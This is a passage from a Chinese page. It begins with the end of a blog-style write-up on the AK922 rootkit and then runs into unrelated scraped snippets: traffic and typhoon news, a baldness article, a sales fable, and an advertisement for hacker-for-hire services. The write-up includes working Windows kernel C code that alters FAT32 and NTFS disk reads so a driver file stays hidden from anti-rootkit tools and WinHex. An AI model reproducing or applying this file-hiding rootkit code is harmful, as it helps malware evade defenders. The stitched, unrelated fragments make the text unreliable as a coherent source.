FileName[1]; }INDEX_ENTRY, *PINDEX_ENTRY; 在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。 在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的之一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,更好把文件名全部清0。 处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。 VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen) { ULONG i; BOOLEAN bIsNtfsIndex; BOOLEAN bIsNtfsFile; ULONG offset = 0; ULONG indexSize = 0; PINDEX_ENTRY currIndxEntry = NULL; PINDEX_ENTRY preIndxEntry = NULL; ULONG currPosition; bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0); if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) { for(i = 0; i < BufLen/0x20; i++) { if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) { *(PUCHAR)UserBuf= 0xe5; *(PULONG)((ULONG)UserBuf + 0x1)= 0; break; } UserBuf = (PVOID)((ULONG)UserBuf + 0x20); } } else if(bIsNtfsFile) { //DbgPrint("FILE0..."); for(i = 0; i < BufLen / FILERECORDSIZE; i++) { if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) { memset((PVOID)UserBuf, 0, 0x4); memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18); break; } UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE); } } else if(bIsNtfsIndex) { //DbgPrint("INDX..."); // Index Entries offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; indexSize = BufLen - offset; currPosition = 0; currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize); while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) { if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)) { memset((PVOID)currIndxEntry->FileName, 0, 18); if(currPosition == 0) { ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; break; } preIndxEntry->Size += currIndxEntry->Size; break; } currPosition += currIndxEntry->Size; preIndxEntry = currIndxEntry; currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size); } } } 水平有限,欢迎大家与我交流。 参考资料: [1] - 《NTFS Documentation》 [2] - Azy,《IceSword & Rootkit Unhooker驱动简析》
“假期高速公路网总流量将达到4.08亿辆次,全国公路网日均交通量预计将同比增长1%~3%。”交通运输部新闻发言人孙文剑9月24日在该部例行新闻发布会上预测国庆假期公路出行情况时说。 孙文剑提醒可能出...
黑客源于哪个大学(黑客 一词源于希腊文)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑...
都说女人天生爱美,其实男人也注意自己的形象。而男人身上的装饰品,除了手表、袖口、戒指之外,只有头发了。可是谢顶这个问题总是困扰着男性。 为什么男人更容易发生谢顶,以及发生谢顶后植发有没有用呢?...
8月18日21点,史上第二早的20号台风西马仑生成了。 在这里,追风先解释一下“史上第二早”这个说法。此说法来自一个比较专业的网站,追风真不知道第一早是哪一个,查了台风数据,发现1950年以后并没有...
本文导读目录: 1、为什么电影《黑客帝国》系列评价很高? 2、《黑客帝国》系列的三部分别叫什么 3、黑客帝国共有几部 4、黑客帝国尼欧的黑风衣属于什么风格的衣服啊 5、博大精深的《黑客...
销售励志故事1:变 不 得 这是一则童话故事。 有一只乌鸦很仰慕那些在屋顶笼子里寻吃的白鸽。为了让自已脐身白鸽群,它便将黑羽毛染成白色.偷偷地混进白鸽群中,寻找食物。 那群白鸽子都以为乌鸦是其同类,让...